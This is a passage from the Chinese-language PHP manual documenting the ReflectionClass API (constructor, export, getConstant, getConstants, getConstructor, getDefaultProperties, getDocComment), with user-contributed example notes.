echo "Modifiers for method foo():\n";
echo $foo->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($foo->getModifiers())) . "\n";

$bar = new ReflectionMethod('Testing', 'bar');

echo "Modifiers for method bar():\n";
echo $bar->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($bar->getModifiers()));

以上例程的输出类似于：

Modifiers for method foo():
261
final public static
Modifiers for method bar():
65792
public

参见

  • ReflectionClass::getModifiers() - 获取类的修饰符
  • ReflectionClassConstant::getModifiers() - Gets the class constant modifiers
  • ReflectionMethod::getModifiers() - 获取方法的修饰符
  • ReflectionProperty::getModifiers() - Gets the property modifiers

User Contributed Notes

There are no user contributed notes for this page.


ReflectionClass 类

(PHP 5, PHP 7)

简介

ReflectionClass 类报告了一个类的有关信息。

类摘要

ReflectionClass implements Reflector {
/* 常量 */
const integer IS_IMPLICIT_ABSTRACT = 16 ;
const integer IS_EXPLICIT_ABSTRACT = 32 ;
const integer IS_FINAL = 64 ;
/* 属性 */
public $name ;
/* 方法 */
public __construct ( mixed $argument )
public static export ( mixed $argument [, bool $return = false ] ) : string
public getConstant ( string $name ) : mixed
public getConstants ( void ) : array
public getConstructor ( void ) : ReflectionMethod
public getDefaultProperties ( void ) : array
public getDocComment ( void ) : string
public getEndLine ( void ) : int
public getExtension ( void ) : ReflectionExtension
public getExtensionName ( void ) : string
public getFileName ( void ) : string
public getInterfaceNames ( void ) : array
public getInterfaces ( void ) : array
public getMethod ( string $name ) : ReflectionMethod
public getMethods ([ int $filter ] ) : array
public getModifiers ( void ) : int
public getName ( void ) : string
public getNamespaceName ( void ) : string
public getParentClass ( void ) : ReflectionClass
public getProperties ([ int $filter ] ) : array
public getProperty ( string $name ) : ReflectionProperty
public getReflectionConstant ( string $name ) : ReflectionClassConstant
public getReflectionConstants ( void ) : array
public getShortName ( void ) : string
public getStartLine ( void ) : int
public getStaticProperties ( void ) : array
public getStaticPropertyValue ( string $name [, mixed &$def_value ] ) : mixed
public getTraitAliases ( void ) : array
public getTraitNames ( void ) : array
public getTraits ( void ) : array
public hasConstant ( string $name ) : bool
public hasMethod ( string $name ) : bool
public hasProperty ( string $name ) : bool
public implementsInterface ( string $interface ) : bool
public inNamespace ( void ) : bool
public isAbstract ( void ) : bool
public isAnonymous ( void ) : bool
public isCloneable ( void ) : bool
public isFinal ( void ) : bool
public isInstance ( object $object ) : bool
public isInstantiable ( void ) : bool
public isInterface ( void ) : bool
public isInternal ( void ) : bool
public isIterable ( void ) : bool
public isIterateable ( void ) : bool
public isSubclassOf ( string $class ) : bool
public isTrait ( void ) : bool
public isUserDefined ( void ) : bool
public newInstance ( mixed $args [, mixed $... ] ) : object
public newInstanceArgs ([ array $args ] ) : object
public newInstanceWithoutConstructor ( void ) : object
public setStaticPropertyValue ( string $name , string $value ) : void
public __toString ( void ) : string
}

属性

name

类的名称。只读，并在尝试赋值的时候会抛出 ReflectionException。

预定义常量

ReflectionClass 修饰符

ReflectionClass::IS_IMPLICIT_ABSTRACT

指示了类是一个抽象类（abstract）， 因为它有抽象（abstract）方法。

ReflectionClass::IS_EXPLICIT_ABSTRACT

指示了类是一个抽象类（abstract）， 因为它已明确定义。

ReflectionClass::IS_FINAL

指示这是一个 final 类。

Table of Contents

  • ReflectionClass::__construct — 初始化 ReflectionClass 类
  • ReflectionClass::export — 导出一个类
  • ReflectionClass::getConstant — 获取定义过的一个常量
  • ReflectionClass::getConstants — 获取一组常量
  • ReflectionClass::getConstructor — 获取类的构造函数
  • ReflectionClass::getDefaultProperties — 获取默认属性
  • ReflectionClass::getDocComment — 获取文档注释
  • ReflectionClass::getEndLine — 获取最后一行的行数
  • ReflectionClass::getExtension — 根据已定义的类获取所在扩展的 ReflectionExtension 对象
  • ReflectionClass::getExtensionName — 获取定义的类所在的扩展的名称
  • ReflectionClass::getFileName — 获取定义类的文件名
  • ReflectionClass::getInterfaceNames — 获取接口（interface）名称
  • ReflectionClass::getInterfaces — 获取接口
  • ReflectionClass::getMethod — 获取一个类方法的 ReflectionMethod。
  • ReflectionClass::getMethods — 获取方法的数组
  • ReflectionClass::getModifiers — 获取类的修饰符
  • ReflectionClass::getName — 获取类名
  • ReflectionClass::getNamespaceName — 获取命名空间的名称
  • ReflectionClass::getParentClass — 获取父类
  • ReflectionClass::getProperties — 获取一组属性
  • ReflectionClass::getProperty — 获取类的一个属性的 ReflectionProperty
  • ReflectionClass::getReflectionConstant — Gets a ReflectionClassConstant for a class's constant
  • ReflectionClass::getReflectionConstants — Gets class constants
  • ReflectionClass::getShortName — 获取短名
  • ReflectionClass::getStartLine — 获取起始行号
  • ReflectionClass::getStaticProperties — 获取静态（static）属性
  • ReflectionClass::getStaticPropertyValue — 获取静态（static）属性的值
  • ReflectionClass::getTraitAliases — 返回 trait 别名的一个数组
  • ReflectionClass::getTraitNames — 返回这个类所使用 traits 的名称的数组
  • ReflectionClass::getTraits — 返回这个类所使用的 traits 数组
  • ReflectionClass::hasConstant — 检查常量是否已经定义
  • ReflectionClass::hasMethod — 检查方法是否已定义
  • ReflectionClass::hasProperty — 检查属性是否已定义
  • ReflectionClass::implementsInterface — 接口的实现
  • ReflectionClass::inNamespace — 检查是否位于命名空间中
  • ReflectionClass::isAbstract — 检查类是否是抽象类（abstract）
  • ReflectionClass::isAnonymous — 检查类是否是匿名类
  • ReflectionClass::isCloneable — 返回了一个类是否可复制
  • ReflectionClass::isFinal — 检查类是否声明为 final
  • ReflectionClass::isInstance — 检查类的实例
  • ReflectionClass::isInstantiable — 检查类是否可实例化
  • ReflectionClass::isInterface — 检查类是否是一个接口（interface）
  • ReflectionClass::isInternal — 检查类是否由扩展或核心在内部定义
  • ReflectionClass::isIterable — Check whether this class is iterable
  • ReflectionClass::isIterateable — 检查是否可迭代（iterateable）
  • ReflectionClass::isSubclassOf — 检查是否为一个子类
  • ReflectionClass::isTrait — 返回了是否为一个 trait
  • ReflectionClass::isUserDefined — 检查是否由用户定义的
  • ReflectionClass::newInstance — 从指定的参数创建一个新的类实例
  • ReflectionClass::newInstanceArgs — 从给出的参数创建一个新的类实例。
  • ReflectionClass::newInstanceWithoutConstructor — 创建一个新的类实例而不调用它的构造函数
  • ReflectionClass::setStaticPropertyValue — 设置静态属性的值
  • ReflectionClass::__toString — 返回 ReflectionClass 对象字符串的表示形式。

User Contributed Notes

YoungOfCthulhu 21-Sep-2015 02:20
It is also possible to do reflection from within the class and get the methods for instance.

<?php

class test
{
    private $test = "";

    public function setTest($test)
    {
        $this->test = $test;
        return $this;
    }

    public function getTest()
    {
        return $this->test;
    }

    public function run(){
        $class = new ReflectionClass('test');
        $methods = $class->getMethods();
        var_dump($methods);
    }
}

Called from another php file you get the proper result:
array(3) {
  [0]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(8) "setTest"
    ["class"]=>
    string(4) "test"
  }
  [1]=>
  &object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(8) "getTest"
    ["class"]=>
    string(4) "test"
  }
  [2]=>
  &object(ReflectionMethod)#5 (2) {
    ["name"]=>
    string(3) "run"
    ["class"]=>
    string(4) "test"
  }
}
Anonymous 17-May-2013 06:45
Reflecting an alias will give you a reflection of the resolved class.

<?php

class X {

}

class_alias('X','Y');
class_alias('Y','Z');
$z = new ReflectionClass('Z');
echo $z->getName(); // X

?>
Anonymous 11-Nov-2011 09:58
Unserialized reflection class cause error.

<?php
/**
 * abc
 */
class a{}

$ref = new ReflectionClass('a');
$ref = unserialize(serialize($ref));
var_dump($ref);
var_dump($ref->getDocComment());

// object(ReflectionClass)#2 (1) {
//   ["name"]=>
//   string(1) "a"
// }
// PHP Fatal error:  ReflectionClass::getDocComment(): Internal error: Failed to retrieve the reflection object
?>
danbettles at yahoo dot co dot uk 29-Mar-2009 02:48
To reflect on a namespaced class in PHP 5.3, you must always specify the fully qualified name of the class - even if you've aliased the containing namespace using a "use" statement.

So instead of:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('Core\Singleton');
?>

You would type:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('App\Core\Singleton');
?>


初始化 ReflectionClass 类

  • ? ReflectionClass
  • ReflectionClass::export ?
  • PHP Manual
  • ReflectionClass
  • 初始化 ReflectionClass 类

ReflectionClass::__construct

(PHP 5, PHP 7)

ReflectionClass::__construct — 初始化 ReflectionClass 类

说明

public ReflectionClass::__construct ( mixed $argument )

初始化新的 ReflectionClass 对象。

参数

argument

既可以是包含类名的字符串（string）也可以是对象（object）。

返回值

返回初始化完成后的 ReflectionClass 实例。

错误／异常

如果要反射的 Class 不存在，抛出异常 ReflectionException。

范例

Example #1 ReflectionClass 的基本用法

<?php
Reflection::export(new ReflectionClass('Exception'));
?>

以上例程的输出类似于：

Class [ <internal:Core> class Exception ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [7] {
    Property [ <default> protected $message ]
    Property [ <default> private $string ]
    Property [ <default> protected $code ]
    Property [ <default> protected $file ]
    Property [ <default> protected $line ]
    Property [ <default> private $trace ]
    Property [ <default> private $previous ]
  }

  - Methods [10] {
    Method [ <internal:Core> final private method __clone ] {
    }

    Method [ <internal:Core, ctor> public method __construct ] {

      - Parameters [3] {
        Parameter #0 [ <optional> $message ]
        Parameter #1 [ <optional> $code ]
        Parameter #2 [ <optional> $previous ]
      }
    }

    Method [ <internal:Core> final public method getMessage ] {
    }

    Method [ <internal:Core> final public method getCode ] {
    }

    Method [ <internal:Core> final public method getFile ] {
    }

    Method [ <internal:Core> final public method getLine ] {
    }

    Method [ <internal:Core> final public method getTrace ] {
    }

    Method [ <internal:Core> final public method getPrevious ] {
    }

    Method [ <internal:Core> final public method getTraceAsString ] {
    }

    Method [ <internal:Core> public method __toString ] {
    }
  }
}

参见

  • ReflectionObject::__construct() - Constructs a ReflectionObject
  • Constructors

User Contributed Notes

danbettles at yahoo dot co dot uk 22-May-2015 06:47
To reflect on a namespaced class in PHP 5.3, you must always specify the fully qualified name of the class - even if you've aliased the containing namespace using a "use" statement.

So instead of:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('Core\Singleton');
?>

You would type:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('App\Core\Singleton');
?>
nulled 18-Dec-2013 03:42
if (is_file($classfile))
            require_once $classfile;

if (! class_exists($classname, false))
            exit('ERROR: ' . $classname . ' is not defined as a Class');

The above code is useful to tell if the class was defined.  You could also use another commentors method using Try Catch Exceptions.  But, if you do not use try blocks much, the above function based method works just fine.

From there, you can than call:

$class = new ReflectionClass($classname);

        if (! $class->isSubclassOf('PanelCommon'))
            exit("ERROR: {$classname} must extends PanelCommon");

        if (! $class->isUserDefined())
            exit("ERROR: {$classname} must be user defined and not internal to PHP");

        if (! $class->IsInstantiable())
            exit("ERROR: {$classname} must be IsInstantiable and not an Interface or Abstract class");

        if (! $class->hasMethod('home'))
            exit("ERROR: {$classname} lacks required method/function home()");

Forforth and so on.
me [at] klay [dot] me 28-Oct-2013 11:09
Example of usage:

    public static function getClassData($class)
    {
        // Trying to create a new object of ReflectionClass class
        $class = new ReflectionClass($class);

        $details = sprintf('%s - %s%s%s%s%s%s%s%s',
            $class->getName(),
            $class->isInternal()     ? 'internal class,' : 'user-defined class,',
            $class->isTrait()        ? '  is trait,'  : '',
            $class->isInterface()    ? '  is interface,'  : '',
            $class->isAbstract()     ? '  is abstract,'  : '',
            $class->isFinal()        ? '  is final,'  : '',
            $class->isCloneable()    ? '  is cloneable,'  : '',
            $class->isInstantiable() ? ' is instantiable,'  : '',
            $class->isIterateable()  ? ' is iterable  : ''
        );

        return '<pre class="debug">' . rtrim($details, ',') . '</pre>';
    }
gafisher at griasolutions dot com 30-Jan-2012 01:23
Running the following code on Windows Vista (I know, I know), PHP 5.3.9, the ReflectionClass constructor actually throws a ReflectionException when the desired class cannot be instantiated:

<?php
    try {
        $ReflectedClass = new ReflectionClass('NonExist');
    } catch (LogicException $Exception) {
        die('Not gonna make it in here...');
    } catch (ReflectionException $Exception) {
        die('Your class does not exist!');
    }
?>
cspray at gmail dot com 12-Jun-2011 07:14
Useful to know that if you pass a string into the construct and the class cannot be instantiated for some reason a SPL LogicException will be thrown.

This code was ran on a Mac OS X 10.6.7, AMP, PHP 5.3+

<?php

    //  index.php
    try {
        $ReflectedClass = new ReflectionClass('NonExist');
    } catch (LogicException $logicDuh) {
        print_r($logicDuh);
    }

?>

Will return a deeply nested array full of useful information about the error.
ivo at jansch dot nl 24-Jan-2010 04:16
It's very useful to know that you can also use the ReflectionClass to inspect interfaces, even thouth Interfaces are not classes. Example:

<?php

  interface Edible
  {
    public function eat();
  }

  $refl = new ReflectionClass("Edible");
  $methods = $refl->getMethods();
?>

[Edit by danbrown AT php DOT net - Contains a bugfix by (dbl AT bnet DOT com) on 18-AUG-2010 with the following message: "underline had to be removed for it to work ( new Reflection_Class -> new ReflectionClass )"]


导出一个类

  • ? ReflectionClass::__construct
  • ReflectionClass::getConstant ?
  • PHP Manual
  • ReflectionClass
  • 导出一个类

ReflectionClass::export

(PHP 5, PHP 7)

ReflectionClass::export — 导出一个类

说明

public static ReflectionClass::export ( mixed $argument [, bool $return = false ] ) : string

导出一个反射后的类。

参数

argument

导出的反射。

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

如果参数 return 设为 TRUE，导出结果将作为 string 返回，否则返回 NULL。

范例

Example #1 ReflectionClass::export() 的基本用法

<?php
class Apple {
    public $var1;
    public $var2 = 'Orange';

    public function type() {
        return 'Apple';
    }
}
ReflectionClass::export('Apple');
?>

以上例程的输出类似于：

Class [ <user> class Apple ] {
  @@ php shell code 1-8

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [2] {
    Property [ <default> public $var1 ]
    Property [ <default> public $var2 ]
  }

  - Methods [1] {
    Method [ <user> public method type ] {
      @@ php shell code 5 - 7
    }
  }
}

参见

  • ReflectionClass::getName() - 获取类名

User Contributed Notes

There are no user contributed notes for this page.


获取定义过的一个常量

  • ? ReflectionClass::export
  • ReflectionClass::getConstants ?
  • PHP Manual
  • ReflectionClass
  • 获取定义过的一个常量

ReflectionClass::getConstant

(PHP 5, PHP 7)

ReflectionClass::getConstant — 获取定义过的一个常量

说明

public ReflectionClass::getConstant ( string $name ) : mixed

获取定义过的一个常量。

Warning

本函数还未编写文档，仅有参数列表。

参数

name

常量的名称。

返回值

常量的值。

参见

  • ReflectionClass::getConstants() - 获取一组常量

User Contributed Notes

aurelien dot tisserand at wavesoftware dot ch 08-Nov-2013 03:27
If the $name constant doesn't exist in the targetted class the function returns bool(false), not empty nor null but false (you to test with "==="

$constFounded = false ;
$this->currentlangClass = new ReflectionClass($langFile);
$this->currentlangClass->getConstant($constant);
if($myConst !== false){
              $constFounded = true ;
}
Bhimsen 31-May-2012 05:46
The "getconstant" method can be used to get the value associated with a constant
of a particular class that you are examining.
The following code snippet shows this:

<?php
    class Test{
        const ONE = "Number one";
        const TWO = "Number two";
    }

    $obj = new ReflectionClass( "Test" );
    echo $obj->getconstant( "ONE" )."\n";
    echo $obj->getconstant( "TWO" )."\n";

?>

output:
Number one
Number two


获取一组常量

  • ? ReflectionClass::getConstant
  • ReflectionClass::getConstructor ?
  • PHP Manual
  • ReflectionClass
  • 获取一组常量

ReflectionClass::getConstants

(PHP 5, PHP 7)

ReflectionClass::getConstants — 获取一组常量

说明

public ReflectionClass::getConstants ( void ) : array

获取某个类的全部已定义的常量，不管可见性如何定义。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

常量的数组，常量名是数组的键，常量的值是数组的值。

参见

  • ReflectionClass::getConstant() - 获取定义过的一个常量

User Contributed Notes

dmitrochenkooleg at gmail dot com 05-Apr-2019 10:12
Get the latest constants declared.

abstract class AbstractEnum
{
    /**
     * Возвращает все константы класса || Return all constants
     *
     * @return array
     */
    static function getConstants()
    {
        $rc = new \ReflectionClass(get_called_class());

        return $rc->getConstants();
    }

    /**
     * Возвращает массив констант определенные в вызываемом классе  || Return last constants
     *
     * @return array
     */
    static function lastConstants()
    {
        $parentConstants = static::getParentConstants();

        $allConstants = static::getConstants();

        return array_diff($allConstants, $parentConstants);
    }

    /**
     * Возвращает все константы родительских классов || Return parent constants
     *
     * @return array
     */
    static function getParentConstants()
    {
        $rc = new \ReflectionClass(get_parent_class(static::class));
        $consts = $rc->getConstants();

        return $consts;
    }
}

======
class Roles extends AbstractEnum
{
    const ROOT = 'root';
    const ADMIN = 'admin';
    const USER = 'user';
}

// Output:
All: root, admin, user
Last: root, admin, user

class NewRoles extends Roles
{
    const CLIENT = 'client';
    const MODERATOR = 'moderator';
    const SUPERMODERATOR = 'super'.self::USER;
}

// Output:
All: client, moderator, superuser, root, admin, user
Last: client, moderator, superuser

class AdditionalRoles extends Roles
{
    const VIEWER = 'viewer';
    const CHECKER = 'checker';
    const ROOT = 'rooter';
}

All: viewer, checker, rooter, client, moderator, superuser, admin, user
Last: viewer, checker, rooter
Panni 17-Nov-2018 09:21
If you want to define a static getConstants() function which works with inheritance you can do the following:

<?php

abstract class AbstractClass
{
    const TEST = "test";

    public static function getConstants()
    {
        // "static::class" here does the magic
        $reflectionClass = new ReflectionClass(static::class);
        return $reflectionClass->getConstants();
    }
}

class ChildClass extends AbstractClass
{
    const TYPE_A = 1;
    const TYPE_B = 'hello';
}

$example = new ChildClass();
var_dump($example->getConstants());

// Result:
array(3) {
  'TYPE_A' => int(1)
  'TYPE_B' => string(5) "hello"
  'TEST' => string(4) "test"
}

?>
Sandor Toth 21-Nov-2016 02:50
You can pass $this as class for the ReflectionClass. __CLASS__ won't help if you extend the original class, because it is a magic constant based on the file itself.

<?php

class Example {
  const TYPE_A = 1;
  const TYPE_B = 'hello';

  public function getConstants()
  {
    $reflectionClass = new ReflectionClass($this);
    return $reflectionClass->getConstants();
  }
}

$example = new Example();
var_dump($example->getConstants());

// Result:
array ( size = 2)
  'TYPE_A' => int 1
  'TYPE_B' => (string) 'hello'
davide dot renzi at gmail dot com 16-Jul-2014 11:21
If you want to return the constants defined inside a class then you can also define an internal method as follows:

<?php
class myClass {
    const NONE = 0;
    const REQUEST = 100;
    const AUTH = 101;

    // others...

    static function getConstants() {
        $oClass = new ReflectionClass(__CLASS__);
        return $oClass->getConstants();
    }
}
?>
shgninc at gmail dot com 20-Nov-2013 10:00
I use a functions to do somthing base on the class constant name as below. This example maybe helpful for everybody.
<?php
public function renderData($question_type = NULL, $data = array()) {
        $types = array();
        $qt = new ReflectionClass(questionType);
        $types = $qt->getConstants();
        if ($type = array_search($question_type, $types)){
                //.....Do somthing
}
}
?>
djhob1972 at yahoo dot com dot au 16-Dec-2009 05:42
I was trying to determine how to get a var_dump of constants that are within an interface.  Thats right, not using any classes but the interface itself.

Along my travels I found it quite interesting that the ReflectionClass along with a direct call to the interface will also dump its constants.  Perfect!!!!

This was using PHP 5.3.1 and my example as below:-

1st File:

constants.php

<?php
<?php>

interface MyConstants
{
    // --------------------------
    // Programmatic Level
    // --------------------------
    const DEBUG_MODE_ACTIVE       = FALSE;
    const PHP_VERSION_REQUIREMENT = "5.1.2";
}
?>

=======
Second file:
=======

test.php

<?php>
include_once ("constants.php");

$oClass = new ReflectionClass ('MyConstants');
$array = $oClass->getConstants ();
var_dump ($array);
unset ($oClass);
?>

what you would get from the command line:-

?:\???\htdocs\????>php test.php
array(2) {
  ["DEBUG_MODE_ACTIVE"]=> bool(false)
  ["PHP_VERSION_REQUIREMENT"]=> string(5) "5.1.2"

But as you can see this can work quite well to your advantage in many ways so I truely hope this helps someone else with a similar headache in the future to come!

Enjoy!


获取类的构造函数

  • ? ReflectionClass::getConstants
  • ReflectionClass::getDefaultProperties ?
  • PHP Manual
  • ReflectionClass
  • 获取类的构造函数

ReflectionClass::getConstructor

(PHP 5, PHP 7)

ReflectionClass::getConstructor — 获取类的构造函数

说明

public ReflectionClass::getConstructor ( void ) : ReflectionMethod

获取已反射的类的构造函数。

参数

此函数没有参数。

返回值

一个 ReflectionMethod 对象，反射了类的构造函数，或者当类不存在构造函数时返回 NULL。

范例

Example #1 ReflectionClass::getConstructor() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$constructor = $class->getConstructor();
var_dump($constructor);
?>

以上例程会输出：

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(11) "__construct"
  ["class"]=>
  string(15) "ReflectionClass"
}

参见

  • ReflectionClass::getName() - 获取类名

User Contributed Notes

martin dot melka at gmail dot com 01-Jul-2019 09:03
This method will return the parent's constructor, if the current class does not override it.

NULL will only be returned when the class has no constructor AND none of its parents have a constructor either.
jochem at drecomm dot nl 13-May-2011 08:13
Old constructors also count as contructor:

<?php

class SomeClass {

    function SomeClass($some_arg) {
    }

}

$refl = new ReflectionClass('SomeClass');

var_dump($refl->isInstantiable()); // bool(true)

echo $refl->getConstructor();

/* OUTPUT:
Method [ <user, ctor> public method SomeClass ] {
  @@ /var/www/vhosts/api.example.com/httpdocs/testRefl.php 5 - 6

  - Parameters [1] {
    Parameter #0 [ <required> $some_arg ]
  }
}
*/

?>

Some more behavior:

<?php

class SomeClass {

   function funcA($arg1, $arg2) {

   }

}

$refl = new ReflectionClass('SomeClass');

var_dump($refl->isInstantiable()); // bool(true)

var_dump($refl->getConstructor()); // NULL

/* --------------- */

class AnotherClass {

   private function __construct() {
   }

   function funcB($arg1, $arg2) {

   }

}

$refl = new ReflectionClass('AnotherClass');

var_dump($refl->isInstantiable()); // bool(false)

echo $refl->getConstructor();
/*
Method [ <user, ctor> private method __construct ] {
  @@ /testRefl.php 22 - 23
}
*/

?>

Tested on PHP 5.2.4
Rob McVey 16-Jul-2010 07:47
Just posting some example code for anyone wanting to mess around with this stuff:

<?php

class Say
{
    private $what_to_say;
    public function __construct($no_default, $word = "Hello World", $options = array('a', 'b'))
    {
        $this->what_to_say = $word;
    }

    public function speak()
    {
        echo $this->what_to_say;
    }
}

$class = new ReflectionClass('Say');

$constructor = $class->getConstructor();

echo $constructor;

/*     OUTPUTS:

Method [ <user, ctor> public method __construct ] {
  @@ /reflect.php 6 - 9

  - Parameters [3] {
    Parameter #0 [ <required> $no_default ]
    Parameter #1 [ <optional> $word = 'Hello World' ]
    Parameter #2 [ <optional> $options = Array ]
  }
}

*/

$parameters = $constructor->getParameters();

var_export($parameters);

/*    OUTPUT:

array (
  0 =>
  ReflectionParameter::__set_state(array(
     'name' => 'no_default',
  )),
  1 =>
  ReflectionParameter::__set_state(array(
     'name' => 'word',
  )),
  2 =>
  ReflectionParameter::__set_state(array(
     'name' => 'options',
  )),
)

*/

$nl = "\n";
echo "$nl\tParameters$nl";
foreach($parameters as $param)
{
    echo "****** $" . $param->name . " ******$nl";
    echo "Nullable:\t\t" . $param->allowsNull() . $nl
         ."Default Value:\t\t";
    echo ($param->isDefaultValueAvailable()) ? $param->getDefaultValue() : "None";
    echo $nl ."Is Array:\t\t";
    echo ($param->isArray()) ? "Yes" : "No";
    echo $nl . "Optional:\t\t";
    echo ($param->isOptional()) ? "Yes" : "No";
    echo $nl;
}

/*    OUTPUT:

    Parameters
****** $no_default ******
Nullable:        1
Default Value:    None
Is Array:        No
Optional:        No
****** $word ******
Nullable:        1
Default Value:    Hello World
Is Array:        No
Optional:        Yes
****** $options ******
Nullable:        1
Default Value:    Array
Is Array:        No
Optional:        Yes

*/

?>

To clarify the possibly confusing behavior of ReflectionParemeter::isArray(), it will return true if the parameter has type hinting:

<?php
...
public function __construct($no_default, $word = "Hello World", array $options = array('a', 'b'))
...
?>

Calling isArray() will now return true for the $options parameter


获取默认属性

  • ? ReflectionClass::getConstructor
  • ReflectionClass::getDocComment ?
  • PHP Manual
  • ReflectionClass
  • 获取默认属性

ReflectionClass::getDefaultProperties

(PHP 5, PHP 7)

ReflectionClass::getDefaultProperties — 获取默认属性

说明

public ReflectionClass::getDefaultProperties ( void ) : array

获取类的默认属性（包括了继承的属性）。

Note:

This method only works for static properties when used on internal classes. The default value of a static class property can not be tracked when using this method on user defined classes.

参数

此函数没有参数。

返回值

默认属性的数组，其键是属性的名称，其值是属性的默认值或者在属性没有默认值时是 NULL。 这个函数不区分静态和非静态属性，也不考虑可见性修饰符。

范例

Example #1 ReflectionClass::getDefaultProperties() 例子

<?php
class Bar {
    protected $inheritedProperty = 'inheritedDefault';
}

class Foo extends Bar {
    public $property = 'propertyDefault';
    private $privateProperty = 'privatePropertyDefault';
    public static $staticProperty = 'staticProperty';
    public $defaultlessProperty;
}

$reflectionClass = new ReflectionClass('Foo');
var_dump($reflectionClass->getDefaultProperties());
?>

以上例程会输出：

array(5) {
   ["staticProperty"]=>
   string(14) "staticProperty"
   ["property"]=>
   string(15) "propertyDefault"
   ["privateProperty"]=>
   string(22) "privatePropertyDefault"
   ["defaultlessProperty"]=>
   NULL
   ["inheritedProperty"]=>
   string(16) "inheritedDefault"
}

参见

  • ReflectionClass::getProperties() - 获取一组属性
  • ReflectionClass::getStaticProperties() - 获取静态（static）属性
  • ReflectionClass::getProperty() - 获取类的一个属性的 ReflectionProperty

User Contributed Notes

articice at ua dot fm 17-Mar-2016 12:15
runaurufu is not quite right, get_class_vars() does not return protected params, while this one does.

Thus it's extremely useful when having an abstract parent class and protected properties overriding in children.
For example, I use a class factory and one of the children has some static test methods that still need to output a paramether name, like $this->name, etc. With this example code, one can use static::getNotStaticProperty('name'), but not get_class_vars('name').

Try it:

trait static_reflector {
    /*
     * a purely static function that returns default properties of the non-static instance of the same class
     */
    static protected function getNonStaticProperty($key) {
        $me = get_class();
        $reflectionClass = new \ReflectionClass($me);
        $properties_list = $reflectionClass->getDefaultProperties();
        if (isset($properties_list[$key]))
            return $var_name = $properties_list[$key];
        else throw new RuntimeException("BUG: Unable to reflect non-static property '{$key}' from default properties of class {$me}");
    }
}

class a {

    use \static_reflector;

    protected $key_a = 'test ok';

    public static function test() {
        echo static::getNonStaticProperty('key_a')."\n";

        try {
            print static::getNonStaticProperty('key_b');
            echo "FAIL No exception thrown";
        } catch (RuntimeException $e) {
            echo "OK ".$e->getMessage();
        }

    }
}

echo get_class_vars('a')['key_a'];
a::test();

this will return:
Notice: Undefined index: key_a in ...
test ok
OK BUG: Unable to reflect non-static property 'key_b' from default properties of class a

ps: Yes, this is copied from a unit test.
runaurufu AT gmail.com 04-Aug-2011 01:02
Worth noting that it will not return private parameters of parent class...
so it works exactly as get_class_vars or get_object_vars
captainjester at hotmail dot com 20-Jan-2010 03:20
This will return all properties in a class and any parent classes.  The array will have keys set to the property names and empty values.


获取文档注释

  • ? ReflectionClass::getDefaultProperties
  • ReflectionClass::getEndLine ?
  • PHP Manual
  • ReflectionClass
  • 获取文档注释

ReflectionClass::getDocComment

(PHP 5, PHP 7)

ReflectionClass::getDocComment — 获取文档注释

说明

public ReflectionClass::getDocComment ( void ) : string

从一个类中获取文档注释。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

如果存在则返回文档注释，否则返回 FALSE。

范例

Example #1 ReflectionClass::getDocComment() 例子

<?php
/**
* A test class
*
* @param  foo bar
* @return baz
*/
class TestClass { }

$rc = new ReflectionClass('TestClass');
var_dump($rc->getDocComment())
?>

以上例程会输出：

string(55) "/**
* A test class
*
* @param  foo bar
* @return baz
*/"

参见

  • ReflectionClass::getName() - 获取类名

User Contributed Notes

bohwaz 15-Feb-2019 10:41
Please note that doc comments are handled differently than regular comments by PHP and the OpCache.

Doc comments are actually kept by the OpCache and accessible by this reflection API, unless disabled by the "opcache.save_comments" INI directive, see http://php.net/manual/en/opcache.configuration.php#ini.opcache.save-comments
i at hyurl dot com 23-Jul-2017 04:35
Not only this method can find a document by a given method name of a class, like this
 <?php
class Foo{
    /**
     * something describes this method
     */
    function bar(){
        /** code here... */
    }
}
$ref = new ReflectionClass('Foo');
print_r($ref->getMethod('bar')->getDocComment()); //will print out the method document as expected.
?>
But, also, if there is no method document in the defination, and the class extends from some other class, the program will automatically
try to find document from the parent class., like this:
<?php
class Foo2 extends Foo{}

$ref = new ReflectionClass('Foo');
print_r($ref->getMethod('bar')->getDocComment()); //will print out the method document as expected.
?>
geoffreybans at gmail dot com 07-Jan-2016 02:15
This code can help you get the contents of a docBlock in array format beginning with the @symbol and ignoring the (*) asterists.

class Home {

    /**
     *This method loads the homepage
     *@param int $id The user id
     *@throws \Exception If the user id doesn't exist
     *@return void
     */
    public function index( $id)
    {

         #...your code here

      }

}

$object = new Home();

//get the comment string
$comment_string= (new ReflectionClass($object))->getMethod('index')->getdoccomment();

//define the regular expression pattern to use for string matching
$pattern = "#(@[a-zA-Z]+\s*[a-zA-Z0-9, ()_].*)#";

//perform the regular expression on the string provided
preg_match_all($pattern, $comment_string, $matches, PREG_PATTERN_ORDER);

echo "<pre>"; print_r($matches);

//this outputs
Array
(
    [0] => Array
        (
            [0] => @param int $id The user id
            [1] => @throws \Exception If the user id doesn't exist
            [2] => @return void
        )

    [1] => Array
        (
            [0] => @param int $id The user id
            [1] => @throws \Exception If the user id doesn't exist
            [2] => @return void
        )

)

//you can then be able to access the particular string values by index
gabe at fijiwebdesign dot com 23-Aug-2014 11:46
You can also get the docblock definitions for the defined methods of a class as such:

<?php
/**
 * This is an Example class
 */
class Example
{
    /**
     * This is an example function
     */
    public function fn()
    {
        // void
    }
}

$reflector = new ReflectionClass('Example');

// to get the Class DocBlock
echo $reflector->getDocComment()

// to get the Method DocBlock
$reflector->getMethod('fn')->getDocComment();

?>
sun 28-Jun-2014 02:11
Note that \ReflectionClass::getDocComment() ignores all other PHP code and all white-space between the last encountered T_DOC_COMMENT and the class/element definition.

The only exceptions appear to be T_NAMESPACE declarations and T_FUNCTION definitions.

<?php
/**
